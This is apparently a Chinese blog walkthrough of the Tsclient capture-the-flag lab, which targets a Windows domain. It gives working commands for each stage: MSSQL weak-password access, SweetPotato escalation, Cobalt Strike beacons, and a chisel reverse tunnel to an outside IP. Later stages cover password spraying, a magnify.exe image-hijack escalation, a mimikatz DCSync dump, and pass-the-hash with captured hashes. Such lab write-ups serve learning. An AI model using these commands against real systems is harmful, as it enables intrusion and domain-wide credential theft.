[春秋云镜] Tsclient仿真场景

发布于:2025-04-14 ⋅ 阅读:(31) ⋅ 点赞:(0)


考点:

  • mssql弱口令
  • SweetPotato提权
  • CS注入在线用户进程上线
  • 共享文件
  • CS不出网转发上线
  • 密码喷洒攻击
  • 映像劫持提权(放大镜提权)
  • Dcsync

靶标介绍:

Tsclient是一套难度为中等的靶场环境,完成该挑战可以帮助玩家了解内网渗透中的代理转发、内网扫描、信息收集、特权提升以及横向移动技术方法,加强对域环境核心认证机制的理解,以及掌握域环境渗透中一些有趣的技术要点。该靶场共有3个flag,分布于不同的靶机。

外网

mssql弱口令

先用dirsearch扫描一下, 基本没有扫描到什么东西

fscan扫描一下 (之前kali下载的fscan啥也没扫出来,有点奇怪,得重新下了)

可以发现一个

在这里插入图片描述

用MDUT连接一下

在这里插入图片描述

成功连接, 但是开始没法执行命令, 上传文件, 四个模式都尝试了一下, 都不行, 后面点了一下激活组件的第一个, 发现可以成功执行命令了

在这里插入图片描述

SweetPotato提权

但是权限很低, 利用SweetPotato提权一下, 上传文件 (可能需要激活一下那些组件, 我开始没法上传, 激活后才可以的)

可以发现现在有了system权限

C:/Users/Public/Sweetpotato.exe -a whoami

在这里插入图片描述

拿到第一个flag

C:/Users/Public/Sweetpotato.exe -a "type C:\Users\Administrator\flag\flag01.txt"

在这里插入图片描述

上线CS

新建一个监听, 然后以这个监听生成一个🐎

然后上传CS的🐎, 把CS给上线, 用提权的命令执行, 这样上线后的CS也是system权限了

CS的服务端要运行在公网ip上, 然后也要记得把端口打开, 我一直卡在这里卡了好久😅…

C:/Users/Public/Sweetpotato.exe -a "C:/Users/Public/6.exe"

在这里插入图片描述

可以发现成功上线CS, 而且也是system的权限

在这里插入图片描述

查看一下用户

shell net user

在这里插入图片描述

直接hashdump , 抓一下密码hash值, 毕竟现在是system的账户权限

在这里插入图片描述

CS注入在线用户进程上线

查看一下在线用户 , 可以发现有john的用户在线, 那么可以用CS直接注入进程上线

shell quser || qwinst

在这里插入图片描述

查看进程列表, 选择john用户的进程进行注入

在这里插入图片描述

在这里插入图片描述

可以看到以john的用户成功上线

在这里插入图片描述

然后再去查看用户, 可以发现存在共享文件

在这里插入图片描述

查看一下共享的文件里面的内容

shell dir \\TSCLIENT\C
shell type \\TSCLIENT\C\credential.txt

在这里插入图片描述

在这里插入图片描述

可以找到一个域用户的用户名和密码 , 并且提示了镜像劫持

xiaorang.lab\Aldrich:Ald@rLMWuy7Z!#

内网

chisel搭建代理

现在开始来搭建一下代理, 访问它的其他内网主机

服务端(vps)

./chisel server -p 8888 --reverse

客户端

shell C:/Users/Public/chisel.exe client 175.178.215.81:8888 R:0.0.0.0:9383:socks

在这里插入图片描述

成功连上 在9383端口开放socks代理

密码喷洒攻击

用少数的用户名和密码一个一个的碰撞, 看看是否能够登录到某个主机

(就是已知某个用户名和密码(或者尝试使用弱口令), 但不知道是有哪个主机可以登录, 所以一个一个尝试)

前面已经知道了一个用户名和密码

proxychains4 -q crackmapexec smb 172.22.8.0/24 -u 'Aldrich' -p 'Ald@rLMWuy7Z!#'

#1. -q  : 表示安静模式, 即减少输出信息,只显示必要的执行结果,避免冗长的日志。

在这里插入图片描述

172.22.8.18 --> 未显示认证结果
172.22.8.46 --> 认证失败, 显示密码过期
172.22.8.31 --> 认证成功, 可以登录
172.22.8.15 -->未显示认证结果

使用rdesktop 进行登录

proxychains rdesktop 172.22.8.31 -u Aldrich -d xiaorang.lab -p 'Ald@rLMWuy7Z!#'

在这里插入图片描述

提示密码过期, 必须要更改密码, 密码也不能太简单

123!@#QWE

也可以使用smbpasswd.py直接修改用户名的密码进行登录 (是工具impacket里面的脚本)

python3 smbpasswd.py xiaorang.lab/Aldrich:'Ald@rLMWuy7Z!#'@172.22.8.15 -newpass '123!@#QWE'

改完密码后又登录不上这台主机(172.22.8.31), 但是可以登录172.22.8.46的主机, 用改后的密码

成功登录

proxychains rdesktop 172.22.8.46 -u Aldrich -d xiaorang.lab -p '123!@#QWE'

在这里插入图片描述

映像劫持 – 放大镜提权

前面也提示了要进行镜像劫持, 所以先查看一下权限 (powershell执行)

# 查看权限
get-acl -path "HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options" | fl *

命令解释:

  1. get-aclPowerShell 中的一个 cmdlet,用于检索文件、文件夹或注册表键的访问控制列表(ACL)。

    ACL 包含权限信息,例如哪些用户或组可以访问该路径,以及他们的权限类型(读取、写入、完全控制等)。

  2. -path : 指定要检查的对象路径

  3. **fl *** : 是 Format-List 的别名,用于将对象的属性以列表形式显示, *表示通配符, 显示对象的所有属性

PS C:\Users\Aldrich> get-acl -path "HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options" | f
l *


PSPath                  : Microsoft.PowerShell.Core\Registry::HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentV
                          ersion\Image File Execution Options
PSParentPath            : Microsoft.PowerShell.Core\Registry::HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentV
                          ersion
PSChildName             : Image File Execution Options
PSDrive                 : HKLM
PSProvider              : Microsoft.PowerShell.Core\Registry
CentralAccessPolicyId   :
CentralAccessPolicyName :
Path                    : Microsoft.PowerShell.Core\Registry::HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentV
                          ersion\Image File Execution Options
Owner                   : NT AUTHORITY\SYSTEM
Group                   : NT AUTHORITY\SYSTEM
Access                  : {System.Security.AccessControl.RegistryAccessRule, System.Security.AccessControl.RegistryAcce
                          ssRule, System.Security.AccessControl.RegistryAccessRule, System.Security.AccessControl.Regis
                          tryAccessRule...}
Sddl                    : O:SYG:SYD:PAI(A;CIIO;KA;;;CO)(A;CI;CCDCLCSWRPRC;;;AU)(A;CI;KA;;;SY)(A;CI;KA;;;BA)(A;CI;KR;;;B
                          U)(A;CI;KR;;;AC)
AccessToString          : CREATOR OWNER Allow  FullControl
                          NT AUTHORITY\Authenticated Users Allow  SetValue, CreateSubKey, ReadKey
                          NT AUTHORITY\SYSTEM Allow  FullControl
                          BUILTIN\Administrators Allow  FullControl
                          BUILTIN\Users Allow  ReadKey
                          APPLICATION PACKAGE AUTHORITY\ALL APPLICATION PACKAGES Allow  ReadKey
AuditToString           :
AccessRightType         : System.Security.AccessControl.RegistryRights
AccessRuleType          : System.Security.AccessControl.RegistryAccessRule
AuditRuleType           : System.Security.AccessControl.RegistryAuditRule
AreAccessRulesProtected : True
AreAuditRulesProtected  : False
AreAccessRulesCanonical : True
AreAuditRulesCanonical  : True

看到它的访问权限(Access) , 可以发现经过身份验证的用户(Authenticated Users)可以设置值(SetValue)、创建子键(CreateSubKey)和读取键(ReadKey

那么我们通过用户名和密码登录的用户应该是经过身份验证的用户, 可以拥有这个权限,可以修改注册表

在这里插入图片描述

修改注册表映像劫持,使用放大镜进行提权

修改放大镜启动的 magnify.exe 替换成 C:\windows\system32\cmd.exe
这样在打开放大镜的时候就变成了打开cmd, 从而提升了cmd的权限

REG ADD "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\magnify.exe" /v Debugger /t REG_SZ /d "C:\windows\system32\cmd.exe"

命令解释:

  1. REG ADD: 这是一个 Windows 命令行工具,用于向注册表添加新的键或值

  2. “HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\magnify.exe”:

    • 指定注册表路径:

      • HKLM 是 HKEY_LOCAL_MACHINE 的缩写,表示本地计算机的注册表根键的驱动器形式。
      • SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options 是一个特殊的注册表位置,用于配置可执行文件的执行选项。
      • magnify.exe 是 Windows 自带的“放大镜”工具(Magnifier),位于 C:\Windows\System32 目录下。

      这个注册表路径是 Windows 用于调试或拦截程序执行的机制。通过设置 Debugger 值,可以让指定的程序在启动时被替换为另一个程序。

      在这里,magnify.exe 被“劫持”,启动时会被替换为 cmd.exe

  3. /v Debugger:

    • /v 表示要添加或修改的注册表值的名称。
    • Debugger 是一个特定的值名,在 Image File Execution Options 下,用于指定当目标程序(这里是 magnify.exe)启动时,代替它运行的调试器程序。
  4. /t REG_SZ:

    • /t 指定值的类型。
    • REG_SZ 表示这是一个字符串类型的值(即文本数据)。
  5. /d “C:\windows\system32\cmd.exe”:

    • /d 指定要写入的具体数据。
    • “C:\windows\system32\cmd.exe” 是 Windows 的命令提示符程序路径。

在这里插入图片描述

点左下角的头像, 再点击锁定

在这里插入图片描述

右下角点击放大镜, 就会直接弹出一个cmd的窗口, 并且权限是system

在这里插入图片描述

在这里插入图片描述

拿到第二个flag

type C:\Users\Administrator\flag\flag02.txt

在这里插入图片描述

flag{0c3db229-2601-46d9-943b-4afb57b71ffc}

内网主机172.22.8.46肯定是不出网的, 所以还需要做一个代理转发, 让我们的主机能够直接访问到 .46主机, 方便使用一些工具对这个主机进行一些操作

172.22.8.18进行转发上线CS

利用这个内网主机创建监听

在这里插入图片描述

在这里插入图片描述

再通过这个监听生成一个🐎

在这里插入图片描述

生成的🐎要传到主机172.22.8.46 ,看wp的时候是说 远程桌面可以直接本机的文件复制粘贴过去, 但是我一直不行, 卡了很久

需要在连接的时候挂载本地文件

proxychains rdesktop 172.22.8.46 -u Aldrich -d xiaorang.lab -p '123!@#QWE'
proxychains4 rdesktop 172.22.8.46 -u Aldrich -d xiaorang.lab -p '123!@#QWE' -r disk:share=/mnt/xpw/kali_shard

# -r:rdesktop 的选项,用于启用资源重定向(resource redirection)
# disk:share=/mnt/xpw/kali_shard
#  表示将本地目录 /mnt/xpw/kali_shard 映射到远程桌面会话中,作为一个共享磁盘,名称为 share

再登录的时候就可以看到kali的共享文件了

在这里插入图片描述

运行这个7.exe, 就可以发现CS也已经成功上线了

在这里插入图片描述

然后就可以进行信息搜集一波了

shell net user /domain

在这里插入图片描述

shell net group "domain admins" /domain

在这里插入图片描述

krbrelayup提权

https://wwwgeneral.github.io/posts/from-unprivileged-user-to-system-krbrelayup/
\\tsclient\share\KrbRelayUp.exe relay --domain xiaorang.lab --CreateNewComputerAccount --ComputerName xpw$  --ComputerPassword pass@123
\\tsclient\share\KrbRelayUp.exe spawn -m rbcd -d xiaorang.lab -dc DC01.xiaorang.lab -cn xpw$ -cp pass@123

一直没成功, 不知道为什么, 一运行就会把我的共享文件给断开, 然后想复制放到其他目录去, 也不行, 复制不了, 有点奇怪…(在这里又浪费了很多时间)

Dcsync

后面还是用的镜像劫持的方法在system权限的cmd窗口上线CS, 这样上线的CS也是system权限

\\tsclient\share\7.exe

在这里插入图片描述

有了system的权限就可以抓取hash, 然后打hash传递拿域控主机的权限了

在这里插入图片描述

proxychains4 crackmapexec smb 172.22.8.15 -u WIN2016$ -H 4ba974f170ab0fe1a8a1eb0ed8f6fe1a -d xiaorang -x "type C:\Users\Administrator\flag\flag03.txt"

又是一直没成功, 一直显示认证失败, 说明抓取的hash是错误的 (有点奇怪 , 不知道为什么, 我看其他人是这样可以成功来着的啊😵‍💫, 可能哪里其他地方做错了)

在这里插入图片描述

不过前面搜集的信息可以看到, 域管理员的账户有两个WIN2016$ Administrator

WIN2016$这个行不通就看看另外一个

hashdump 可以抓到 Administrator 的hash

在这里插入图片描述

proxychains4 crackmapexec smb 172.22.8.15 -u Administrator -H 8e2eec0e9e0d89e1b046b696e0c2aef7 -d xiaorang.lab -x "type Users\Administrator\flag\flag03.txt"

依旧没有认证成功

在这里插入图片描述

甚至认证本地172.22.8.46主机, 而不是域控主机, 都没有成功, 不理解, 有点崩了 … (还是太菜了,照着wp写都不能成功, 唉!!!)

在这里插入图片描述

然后就上传了一个mimikatz.exe到.46主机上

从域控制器中 dump 出所有账户的凭据信息

shell \\tsclient\share\mimikatz.exe "privilege::debug" "lsadump::dcsync /domain:xiaorang.lab /all /csv" "exit"

在这里插入图片描述

proxychains4 crackmapexec smb 172.22.8.15 -u administrator -H 2c9d81bdcf3ec8b1def10328a7cc2f08 -d xiaorang.lab -x "type C:\Users\Administrator\flag\flag03.txt"

在这里插入图片描述

关掉靶机之后, 才反应过来, 这里也抓到了WIN2016$的hash, 前面一直没成功应该就是用错了hash值导致的

不过看了看前面的前面的记录, 发现在使用logonpasswords的时候, 是有好几个WIN2016$这个用户的hash, 其中里面也有这个, 但是我偏偏试了其他的几个, 好像就没试过这个, 有点蠢了 …

在这里插入图片描述

看别人的wp的时候感觉没这么难, 但是晚上打的时候卡了好多的点, 花了好多时间, 结果还没打完, 卡到了无法传文件上去, 留到了第二天
第二天本来想试试krbrelayup提权, 结果又卡到了, 也没解决, 还是用的映像劫持, 然后就是hash传递又卡到了

参考文章

https://fushuling.com/index.php/2023/08/29/%e6%98%a5%e7%a7%8b%e4%ba%91%e5%a2%83%c2%b7tsclient/
https://www.cnblogs.com/kingbridge/articles/17645128.html
https://www.kinsomnia.cn/index.php/2024/03/07/%E6%98%A5%E7%A7%8B%E4%BA%91%E5%A2%83-tsclient/